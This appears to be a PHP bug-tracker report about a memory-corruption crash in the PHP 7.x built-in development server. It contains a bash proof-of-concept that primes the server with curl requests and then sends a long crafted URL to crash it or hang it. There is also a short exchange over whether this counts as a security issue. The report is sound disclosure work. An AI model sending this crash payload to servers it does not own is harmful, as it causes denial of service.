Description:
------------
Affects:
7.2.16 and 7.3.3 (probably affects all 7.x.x, but I only tested those)
5.6 isn't affected.
I'm still trying to understand this but I figured it would be better to report what I know even if it's not much.
https://github.com/php/php-src/blob/852485d8ecd784153e41e565a0a87abf99cf4e0d/ext/date/php_date.c#L944
if(!DATEG(tzcache)) -> if(true)
This prevents the memory corruption and the crashes. Might be helpful in locating the bug.
Sorry for the bad PoC as I haven't understood the bug yet.
I will try to update this report if I find anything new.
Test script:
---------------
#!/bin/bash
#Tested on: PHP7.2.16/7.3.3. PHP5.6 is unaffected.
# php -S 127.0.0.1:1337 [-t your_work_dir]
# your_work_dir content:
# 200.php - can be empty, doesn't matter.
# the size is arbitrary. you can send 1k, it just needs to be large.
payload=$(python -c "print 'a'*7")$(python -c "print 'b'*39")$(python -c "print 'c'*200");
endpoint="127.0.0.1:1337"
preparationCount=10
echo "preparing the server..."
for i in $(seq 1 $preparationCount)
do
echo -ne "${i}/${preparationCount}\r"
curl "http://${endpoint}/404.asdasd" -s > /dev/null
curl "http://${endpoint}/200.php" -s > /dev/null
done
echo 'sending the payload... goodluck.'
curl "http://${endpoint}/${payload}" -s > /dev/null
Actual result:
--------------
The server either crashing (access violation) or hang with high cpu load (~30% for me).
Memory corruption. segmentation fault from different places depending on the payload.
80% sure it's "tzcache" corruption from "ext/date/php_date.c"
The PoC with its current payload crashes here:
https://github.com/php/php-src/blob/e7e8112fcde30f51ac725e7b32d51bf7f832c030/ext/date/lib/parse_tz.c#L680
with our payload being in "timelib_tzinfo *tz".

Pull Requests

History

Why is this marked as a "bug"? if it was self DoS i would understand but anyone over the internet could crash/DoS any running php7.x.x builtin-server.
Don't you think this qualifies for it to be a security issue?

It's a bug on the built-in *development* server. The only way this could be a security risk is if you run something critical on the server, running on an external interface, on a port that's open to the internet through your firewalls/NAT. That's three mistakes too many.